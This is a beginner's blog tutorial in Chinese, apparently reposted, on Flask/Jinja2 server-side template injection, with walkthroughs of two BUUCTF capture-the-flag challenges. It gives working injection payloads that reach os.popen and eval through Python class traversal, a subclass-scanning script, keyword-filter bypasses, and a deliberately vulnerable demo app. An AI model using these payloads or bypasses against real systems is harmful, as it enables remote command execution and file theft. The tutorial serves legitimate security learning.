SSTI(模板注入)--Flask(萌新向) | [BUUCTF題解][CSCCTF 2019 Qual]FlaskLight & [GYCTF2020]FlaskApp(SSTI)


寫在最前面

本篇博客是面向CTF萌新向的講解,所以敘述上可能存在一定程度的啰嗦,技術上並沒有涉及高級的bypass和生產上的防御,展示過程采用手工+手寫簡單腳本並未使用tplmap等成熟的工具(其實博主自己也不會怎么用罷了)。博客寫出來是希望對於未接觸過SSTI(這里針對Flask,其他的模板並未涉及)的萌新一點幫助,不至於在解題時一臉懵逼無從下手;其次對於payload進行一些講解(有被當初自己學時候蠢到,所以這里給出的是博主個人的通俗笨比理解),希望有助於理解;最列對兩道在BUUCTF上的Flask的SSTI題目進行講解,在實際解題中是如何去使用和改進payload。

雖然說的是萌新向,但並不是0基礎向(終究還是有門檻),閱讀本篇博客需要掌握如下的技能(未掌握的話可能存在一定程度上的閱讀障礙,當然這些部分涉及的內容並不多,也有可能一些小的知識點沒列出來,但完全可以在閱讀時通過搜索引擎來解決):

  • python語言編程基礎
  • 知曉python中的類的相關知識
  • 知曉python中requests模塊(能看得懂博客中腳本使用的用意就行了)
  • 了解linux基礎命令
  • 了解HTTP相關知識(在題目講解部分中的一題使用到)

這里是題目講解部分的書簽:

關於SSTI

SSTI(Server-Side Template Injection)也就是服務器端模板注入,和其他如SQL注入、XSS注入等類似,是由於代碼不嚴謹或不規范且信任了用戶的輸入而導致的。用戶的輸入在正常情況下應該作為普通的變量在模板中渲染,但SSTI在模板進行渲染時實現了語句的拼接,模板渲染得到的頁面實際上包含了注入語句產生的結果。

既然如此,那SSTI中的SST(Server-Side Template)又是什么呢?百度詞條:模板引擎_百度百科 (baidu.com)。個人理解SST就是將頁面中大量重復使用固定內容與變動內容分離,固定內容作為模板,而變動內容作為變量,每當該頁面需要使用時只需要在模板中將變量替換為所需值即可,而不必為每次使用時從頭到尾的生成兩個完全不同的頁面。

在本篇博客中將會主要講述以Jinja2為引擎的Flask模板的SSTI,關於SSTI的具體場景可以參考下面的例子。

在如下頁面中會獲取URL中name參數的值替換掉頁面中hello后面的字符,name的值不同hello后面的字符也不同。

 

但通過一個測試會發現,顯示在頁面上的是7*7運算得到的結果49,而不是一個單純的字符串{{7*7}},這說明了模板渲染的是我們注入語句的結果也即說明存在SSTI。

我們可以通過控制輸入name的值去實現XSS甚至SHELL命令。 

關於Flask的代碼基礎

Flask是一款使用python編寫的模板,在這里將會簡單的講解關於Flask的python基礎代碼知識,以便更好的理解並使用之后講解的payload。

以下創建了一個簡單Flask的頁面,當我們訪問時會返回一個字符串。

可見訪問頁面的結果就是我們代碼中所規定的顯示了一句hello,我們也可以將一個HTML的所有代碼放入return返回的字符串中,這樣我們瀏覽的頁面就是一個HTML頁面(注意使用這樣的方法返回一個HTML頁面是不會經過模板渲染的,即在其中的模板語法並不會被解析,此部分在"關於payload"會有更詳細的解釋)。但我們完全可以將HTML的頁面單獨存放為一個文件,然后我們通過相應函數返回渲染后的HTML代碼。

以下創建了一個僅包含固定內容的HTML文件,我們訪問頁面時,Flask會將這個HTML文件作為模板渲染並返回渲染后的HTML代碼。

演示文件結構

文件代碼

 訪問頁面

當然一個模板除了固定內容也會有變動的內容,但是這些變動的內容作為變量是不能直接在HTML文件中使用的(HTML是一種靜態語言,並不能定義或處理變量之類動態語言所具有的),想要使用首先得在渲染模板時將這些變量傳入,其次得在模板文件對應的位置用特殊語法(即模板語法)將這些變量標志以便被解析。

傳入變量

 在模板文件中標志變量

訪問頁面

在模板文件中,顯然{{username}} 這種語法不是HTML自帶的,這是Flask中定義的模板語法,通過{{var}}可以用來在HTML中實現python中的變量,此外還有{% code %}用來在HTML中實現一些基礎的python語法。

 這里僅講述和payload使用有關的for語句和if語句,更多的語法參考:Jinja2用法總結 - yanzi_meng - 博客園 (cnblogs.com)

注意每一個if語句或for語句都是由{% if code %}{% endif %}或{% for code %}{% endfor %}這一對代碼構成語句開頭和結尾的。

關於payload

這里采用在"關於SSTI"部分使用的環境作為演示靶場,按照做題的步驟對payload逐步講解,靶場代碼及文件結構如下(因為大多數題目的flag均藏在系統中的某個文件內,所以這里並未包含在XSS方向上payload的講解):

SSTI_test.py

import re
from flask import Flask,render_template_string,request

app=Flask(__name__)

indexhtml="""
<html>
<title>just a test</title>
<body><h1>
why not come <a href="ssti">here </a>to have a look</h1> 
</h1></body>
</html>
"""

whoareuhtml="""
<html>
<title>here s ssti</title>
<body>
<h3>you should tell me who you are then i can say hello to u!(use ?name= in url)</h3>
</body>
</html>
"""

tinyhtml=""" 
<html>
<title>here s ssti</title>
<body>
<h1>hello %s</h1>
</body>
</html>
"""

@app.route("/index")
@app.route("/")
def index():
    return indexhtml

@app.route("/ssti")
def ssti():
    name=request.args.get("name")
    if not name:
        return render_template_string(whoareuhtml)
    else:
        return render_template_string(tinyhtml%name)

if __name__=="__main__":
    app.run(debug=True)

flag存在於flag.txt文件中

開始解題,首先打開主頁面。

SSTI是信任用戶輸入導致而不加防御導致的,所以進行SSTI就得找到一個我們可以控制的輸入點,顯然在主頁面(/index或/)不存在這樣的輸入點,故點擊here鏈接訪問其他頁面。

提示可以通過URL中參數name進行輸入,先進行正常輸入測試

 

發現頁面顯示內容和參數name的值有關,那么可以通過模板語法來測試是否存在SSTI可行性(本編博客只講關於Flask的SSTI,故這里就未涉及如何來區分不同模板)。

{{var}}這個語法在Flask模板中表示雙層花括號內是一個變量,此處我們輸入{{7*7}}會被當成變量渲染,所以頁面上會顯示7*7的結果49(還可以采用其他四則運算來測試,但注意URL編碼,例如測試2+2則應該是2%2B2)。但注意只有進行模板渲染后模板語法才能被解析,對應源文件代碼中

 

如果此處直接采用return返回包含HTML代碼的字符串,則是未經過渲染,此時的模板語法並不會被解析也就並不存在SSTI。

對於render_template函數來說,雖然目標HTML文件進行了渲染,但是我們在HTML文件中必須使用模板語法才能實現渲染,這就導致了我們的輸入全部被包裹在模板語法中,這時我們的輸入只會被當成一個字符串,並不會被當作模板語法渲染。

對應渲染的HTML文件

嘗試使我們輸入被當作模板語法渲染(均未成功)

payload 1

回到解題上來,現在我們發現在當前頁面是存在SSTI,那么接下來就可以采用payload來進行進一步利用(因為測試是在WINDOWS上進行的,所以用的是WINDOWS的命令讀取文件)。

{{''.__class__.__base__.__subclasses__()[80].__init__.__globals__['__builtins__'].eval("__import__('os').popen('type flag.txt').read()")}}

獲取到flag

這個payload采用了模板語法{{var}}傳入參數name,而{{var}}所表示變量的值則是我們讀取到的flag.txt的內容。顯然這個payload長的嚇人,我們從開頭來一段一段分析這個payload。

首先給出一個總的解釋,這個payload涉及到的是關於python中類的繼承與被繼承的關系,通過這種關系的查找合適的類,找到合適的類后利用該類中的函數或者模塊去調用與讀取文件相關的函數或命令,我們最終看到則是讀取出來的flag。核心在於

eval("__import__('os').popen('type flag.txt').read()")

這一段,這一段用eval函數去執行括號中的語句。語句中導入了"os"模塊,並調用模塊中的popen函數(不采用system函數是因為返回值是int類型的執行結果狀態碼說明是否成功執行,我們查看不到實際執行結果)執行讀取flag.txt文件的操作,最后將popen函數執行結果使用read方法讀取出來。而popen括號中的字符串則是將要執行的系統命令,在實際做題時在此部分填入需要執行的命令,注意題目環境絕大多數都是Linux系統,應當選用Linux命令。當然還有其他更簡介的payload,這里先理解這個長些的payload,對於之后的payload也更容易理解。

''.__class__ => __class__是類中的一個內置屬性,值是該實例的對應的類。這里使用的是''.__class__,得到的則是空字符串對應的類,也就是字符類。這樣操作的意義是將我們現在操作的對象切換到類上面去,這樣才能進行之后繼承與被繼承的操作,所以這里可以選用其他數據類型再來調用__class__屬性,效果是一樣的(例如[].__class__、{}.__class__、True.__class等)。

''.__class__.__base__ => __base__也是類中的一個內置屬性,值當前類的父類,而在python中object是一切類最頂層的父類,也就是說我們可以過上一步獲取到的類往上獲取(一般數據類型的上一層父類中便有object),最終便會獲取到object,而由於object的特殊性,我們便能從object往下獲取到其他所有的類,其中便有着能實現我們讀取flag功能的類。(其他類似功能的還有__bases__、__mro__,但返回的數據包含類的元組,所以還需要下標選定object類)

''.__class__.__base__.__subclasses__() => __subclasses__ ()是類中的一個內置方法,返回值是包含當前類所有子類的一個列表,通過上一步獲取到的object我們實現了向下獲取,接着我們需要在這些子類中獲取合適的類(下方截圖只展示了一部分)。

''.__class__.__base__.__subclasses__()[80].__init__ => __init__是類中的內置方法,在這個類實例化是自動被調用,但是返回值只能是None,且在調用是必須傳入該類的實例對象。如果我們不去調用它,此時我們獲得的是我們選取的類中的__init__這個函數。由於python一切皆對象的特性,函數本質上也是對象,也存在類中的一些內置方法和內置屬性,所以我們可以執行接下來的操作。

''.__class__.__base__.__subclasses__()[80].__init__.__globals__ => __globals__是函數中的一個內置屬性,以字典的形式返回當前空間的全局變量,而其中就能找到我們需要的目標模塊"__builtins__"。

但注意並不是每個類的__init__都擁有__globals__屬性,所以我們尋找的合適的類實際上就是__init__中擁有__globals__屬性的類。博主個人習慣用腳本遍歷訪問__subclasses__中各個類的__init__.__globals__,通常可以通過響應包的大小或是否正常訪問來判斷是否找到合適的類(訪問不合適的類時往往響應包大小小上一截或根本不能正常訪問)。

對應本題使用的簡單腳本 

import requests as res
for i in range(0,400):
    url="http://127.0.0.1:5000/ssti?name={{''.__class__.__base__.__subclasses__()[%d].__init__.__globals__}}"
    response=res.get(url%i)
    print(len(response.text),i,response.status_code)

''.__class__.__base__.__subclasses__()[80].__init__.__globals__['__builtins__'] => 選中"__builtins__"模塊,在這個模塊中有很多我們常用的內置函數和類,其中就有eval函數。

''.__class__.__base__.__subclasses__()[80].__init__.__globals__['__builtins__'].eval("__import__('os').popen('type flag.txt').read()") => 如在前面所說,此處就是利用eval函數,eval函數將參數字符串當成python代碼執行。__import__相當於import,區別在於__import__引入模塊后我們可以直接使用符號"."在引入帶后面調用模塊中的函數。popen函數返回結果是一個object,所以還需要read方法將結果讀取出來,至於system函數我們試着只能看到執行結果狀態碼,所以不考慮使用。

使用system

popen不使用read方法

 

此外在Flask中,像payload這樣通過符號"."調用是特別的,部分內容返回類型是dict或者list,但仍然能使用符號"."起到類似"[key]"選定的作用,如果使用例如python自帶的解釋器則會報錯(符號"."本應是對於類選取屬性或方法使用)。

payload 2

{{''.__class__.__base__.__subclasses__()[80].__init__.__globals__['__builtins__'].open("flag.txt").read()}}

payload 2在很多部分上和payload 1相似,但省去了使用eval函數的步驟,但是需要提前知道flag所在,否則仍然需要使用payload 1中命令行去搜索。

payload 3

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("type flag.txt").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

官方給出的利用payload,利用了模板語法將payload 1中的尋找合適類的遍歷在服務端實現,而"catch_warnings"為payload 1中合適的類中的一個,這個payload要求選取一個通用的合適的類(比如這個"catch_warnings"),保證不同設置下Flask都能獲取到這個類。

payload 4

最好用的payload但有可能被檢測過濾,作為儲存配置信息的變量config剛好對應的就是一個非常合適的類,因為這個類中__init__函數全局變量中已經導入了"os"模塊,我們可以直接調用。

{{config.__class__.__init__.__globals__['os'].popen('type flag.txt').read()}}

題目講解

此處所講題目均在BUUCTF上有提供,因為已經已知這些題目和Flask模板的SSTI有關,就不展開和SSTI無關的其他測試了,也不進行模板種類判斷。在此處會按照上述payload講解的流程來演示,所以會步驟中會按照上述來進行(會演示一些錯誤即糾錯情景),而不是直接給出正確結果。

第一個題目會講的相對詳細點,其余的題目就會響應的省略一些步驟了。

[CSCCTF 2019 Qual]FlaskLight————雙層__base__、簡單bypass

打開頁面,並未發現可控輸入點,也未發現訪問其他頁面的提示。

 查看源碼發現有提示,參數為search,采用GET方式傳參。

正常傳參發現參數search值與頁面中"You Searched  for"處顯示有關。

測試是否存在SSTI,發現傳入四則運算時被解析,說明存在SSTI。

payload 1

先使用腳本找出合適的類。

import requests as res
import time
for i in range(0,400):
    url="http://61ef7259-23f5-43b3-8a0d-111f2e8a2c17.node3.buuoj.cn/?search={{''.__class__.__base__.__base__.__subclasses__()[%d].__init__.__globals__}}"
    response=res.get(url%i)
    #BUUCTF中訪問速度過快會返回429,此時就需要暫緩再訪問
    if response.status_code!=200:
        time.sleep(0.3)
        response=res.get(url%i)
    print(len(response.text),i,response.status_code)

發現訪問近100多個類均為找到合適的類,猜測使用payload出現錯誤(通常來說100個左右的類中會含有合適的類,如果查找不到的合適的類就該停下來手工測試是否payload出現了問題)(下圖截取並不完全)。

縮短payload,參數search傳入"{{''.__class__.__base__.__subclasses__()}}",發現頁面上只顯示兩個類,猜測未獲取到object,因此子類數量只有兩個。

參數search傳入"{{''.__class__.__base__}}"查看通過空字符串獲取到的父類。

發現並不是object,則添加一層__base__再訪問。

獲得object,此時在payload中補上__subclasses__(),發現能成功獲得子類(下圖截取並不完全)。

按照手工測試修改腳本中payload並運行(添加一層payload),發現訪問大量類依舊查找不到合適類(下圖截取並不完全)

繼續手工測試,參數search傳入"{{''.__class__.__base__.__base__.__subclasses__()[1].__init__}}"(這里隨意選取一個類訪問即可),發現能夠正常獲取到__init__,說明問題出在訪問__init__的__globals__屬性上,猜測是否存在關鍵字檢測。

直接對參數search傳入globals,發現無法正常訪問,這里沒用采有模板語法,globals只是當作普通的字符串傳入,正常來說是不會出現無法正常訪問的情況,說明存在關鍵字檢測。

這時可以利用payload 1末尾部分所述,采用"['__globals__']"來替代'__globals__",對於字符串python中可以使用+來進行拼接,在模板語法中也是可行了,所以我們這里可以將"['__globals__']"改寫成"['__glob'+'als__']"這樣就繞過了對globals關鍵字的檢測,將腳本中payload以此修改后運行。

此時能進行正常訪問,且訪問類時如果響應包的大小偏大(合適的類能獲取到__globals__屬性,而__globals__值為當前環境的全局變量,通常這一部分會很多,用來展示這一部分的字符也就很多)則說明是合適的類。

隨意選取一個合適的類后按照payload 1中將payload補全,然后將payload中系統命令換成一個通常不會被檢測過濾掉的命令,方便檢測payload中是否還存在被檢測的關鍵詞,是否能執行,這里選用"whoami"(查看當前用戶名,一般不會被過濾檢查)。

參數search傳入{{''.__class__.__base__.__base__.__subclasses__()[78].__init__['__glo'+'bals__']['__builtins__'].eval("__import__('os').popen('whoami').read()")}}

正常執行,那么說明補全后的payload也是可行的,現在可以使用系統命令(Linux)去找flag文件了。

先查看下根目錄(BUUCTF一般題目的flag都會放在根目錄下的文件中),命令部分替換為"ls /"。

沒有發現明示flag的文件,但是有個flasklight和本題SSTI有關,先打開看一下,命令部分替換為"ls /flasklight"。

發現疑似文件,讀取后獲得了flag,最終payload為:

?search={{''.__class__.__base__.__base__.__subclasses__()[78].__init__['__glo'+'bals__']['__builtins__'].eval("__import__('os').popen('cat /flasklight/coomme_geeeett_youur_flek').read()")}}

在對"globals"關鍵字檢測過濾部分提到可以使用"[key]"替換符號".",這一點實際上對於payload中絕大多數使用符號"."都是適用的(在稍后展示的payload中僅函數eval參數中的popen處不能替換為['popen'],但本身就是位於字符串之中所以還是可以繞過的),而能夠適用"[key]"意味着這些地方的關鍵字檢測都能被繞過,所以實際上如下的payload也是可行的:

{{''['__class__']['__base__']['__base__']['__subclasses__']()[78]['__init__']['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('cat /flasklight/coomme_geeeett_youur_flek').read()")}}

payload 2

payload 1中已經進行了全流程的演示,往下直接給出各個payload對於這題的適用版本作為演示,由於最終結果都是獲取同樣的flag,所以並沒有上截圖。

{{''.__class__.__base__.__base__.__subclasses__()[78].__init__['__glo'+'bals__']['__builtins__'].open("/flasklight/coomme_geeeett_youur_flek").read()}}

payload 3

{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__['__glo'+'bals__'].values() %} {% if b.__class__ == {}.__class__ %} {% if 'eval' in b.keys() %} {{ b['eval']('__import__("os").popen("cat /flasklight/coomme_geeeett_youur_flek").read()') }} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %}

上面為payload 3直接對參數search的輸入,雖然在"payload講解"部分看上是一行一句話,但是實際上輸入並不需要考慮一點,甚至每一句模板語法之間不需要空格。

payload 4

{{config.__class__.__init__['__glo'+'bals__']['os'].popen('cat /flasklight/coomme_geeeett_youur_flek').read()}}

在這里並沒有被過濾,直接使用就行了。

[GYCTF2020]FlaskApp(SSTI)————當目標成為一個小程序、關鍵字過濾

在此題中Flask做成了一款base64的加密和解密程序,選擇加密和加密會將輸入的字符串進行相應處理。

按照博主思路來說看見可以輸入的地方就可以去試試SSTI,分別在加密頁面和解密頁面中測試。但在解密中使用模板語法來測試會報錯,並顯示相關信息。

其實在提示頁面中的圖想表達是這個Flask程序開啟的debug模式,在debug模式下如果我們由於我們的錯誤輸入導致報錯,此時頁面會顯示一個函數調用追蹤,從中我們可以分析報錯原因(直到現在博主也聯系不起為啥提啥了debug模式,或許就是太菜了吧)。

在這個報錯中可以找到一條關於"/app/app.py"中的函數,也就是報錯中高亮的那一條,點擊打開可以看到綁定到decode頁面的函數。

 

對這段函數進行審查,text獲取GET或POST傳入的參數text的值,變量text_decode再獲取變量text的base64解碼的結果,變量tmp獲取的是變量text_decode格式化后結果。對變量tmp進行一個自定義的waf函數檢測,如果在這里被檢測到則無法向后進行。我們的目標應該是變量res,這個變量獲取的是通過函數render_template_string傳入變量tmp作為參數的結果,此后的代碼看不到了,但可以猜測最后返回頁面的結果與變量res有聯系。

這里render_template_string函數說存在SSTI,但想要利用需要滿足一些條件。

  1. 變量text要能被正確地base64解碼,如果不能被正確解碼我們訪問到的頁面只是這個顯示錯誤的頁面。
  2. 變量tmp傳入函數waf后的返回值必須為假,否則只會執行if中的語句,並在其中的return處返回結果停止對之后的代碼執行。
  3. 變量tmp中的值應該是合適的模板語法,函數render_template_string才能將其渲染,在頁面上才能看到想要的結果。

"{{4+6}}"的base64加密后是"e3s0KjZ9fQ==",在decode頁面提交來驗證本題的SSTI利用思路。

成功獲得了四則運算的結果,說明SSTI利用思路是正確的,這里沒用"{{4*6}}"是因為符號"*"在waf種被檢測了。

上一題中已經介紹了4種payload在題目中的使用,這里選用最簡潔的payload 4先來使用。既然有waf來過濾檢測(其實一般都有過濾)且給出了文件名,那可以直接查看以下源文件中函數waf是如定義的了從而更好的bypass。

對payload 4按照payload 1中一樣來導入"__builtins__"模塊再接着直接使用函數open打開文件接着read方法讀取文件內容。"{{config.__class__.__init__.__globals__['__builtins__'].open('app.py').read()}}"的base64加密是"e3tjb25maWcuX19jbGFzc19fLl9faW5pdF9fLl9fZ2xvYmFsc19fWydfX2J1aWx0aW5zX18nXS5vcGVuKCdhcHAucHknKS5yZWFkKCl9fQ==",在decode頁面中提交。

 將其中關於函數waf的部分提出來並整理后如下。

def waf(str): 
black_list = ["flag","os","system","popen","import","eval","chr","request", "subprocess","commands","socket","hex","base64","*","?"] 
for x in black_list : 
    if x in str.lower() : 
return 1

這里先給出不使用系統命令的payload,之后再講述繞過waf的進而使用系統命令的payload。因為我們尋找flag文件主要是列目錄,打開文件這兩個操作,而"os"模塊中定義了這些相關的函數,我們可以利用這些函數來替代系統命令,也就是說我們可以不采用類似payload 1中那樣的導入"os"模塊。

"os"模塊中listdir可以用來列目錄,對payload 4使用"os"模塊(記住要拼接),再執行該函數列一下根目錄的文件。"{{config.__class__.__init__.__globals__['o'+'s'].listdir('/')}}"的base64加密是"e3tjb25maWcuX19jbGFzc19fLl9faW5pdF9fLl9fZ2xvYmFsc19fWydvJysncyddLmxpc3RkaXIoJy8nKX19",在decode頁面中提交。

找到了可疑文件,和讀取源文件一樣利用函數open去讀取這個文件(注意文件名含有字符串"flag",要拼接一下)。

"{{config.__class__.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt').read()}}"的base64加密是"e3tjb25maWcuX19jbGFzc19fLl9faW5pdF9fLl9fZ2xvYmFsc19fWydfX2J1aWx0aW5zX18nXS5vcGVuKCcvdGhpc19pc190aGVfZmwnKydhZy50eHQnKS5yZWFkKCl9fQ==",在decode頁面中提交。

得到了flag。

其他師傅們通常用上一種payload,但是根據上一題中發現的關於"."替代為"[key]"的結果,我們任然可以通過字符串拼接的方式繞過waf中的關鍵字過濾檢測,使用這種方法獲得的payload如下(這里直接把所有可以替代部分都換了,雖然沒必要):

{{config['__class__']['__init__']['__glo'+'bals__']['__builtins__']['e'+'val']("__im"+"port__('o'+'s').po"+"pen('cat /this_is_the_fl'+'ag.txt').read()")}}

[2021-07-18 08:40:01]今天發現其實最末尾的.read()也可以按照上述規則替換,即payload末尾部分可以改成:"txt')['read']()"。

對應的base64編碼:

e3tjb25maWdbJ19fY2xhc3NfXyddWydfX2luaXRfXyddWydfX2dsbycrJ2JhbHNfXyddWydfX2J1aWx0aW5zX18nXVsnZScrJ3ZhbCddKCJfX2ltIisicG9ydF9fKCdvJysncycpLnBvIisicGVuKCdjYXQgL3RoaXNfaXNfdGhlX2ZsJysnYWcudHh0JykucmVhZCgpIil9fQ==

 同樣獲取到flag(這里關於繞過waf部分的payload是之后補上的,所以獲取到的flag值不一樣)。

寫在最后面

就像開頭所說,這篇博客是萌新向的,技術力看見的不高,文章也顯得啰嗦,如果對於各位師傅有所幫助那就再好不過了。當然這篇博客篇幅較長(前前后后硬是花了一周才寫成,還是摸魚太多了),博主寫完后未進行仔細的檢查(太懶了屬於是),可能也存在敘述錯誤的地方,歡迎各位師傅斧正。參考過的文章鏈接如下:


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM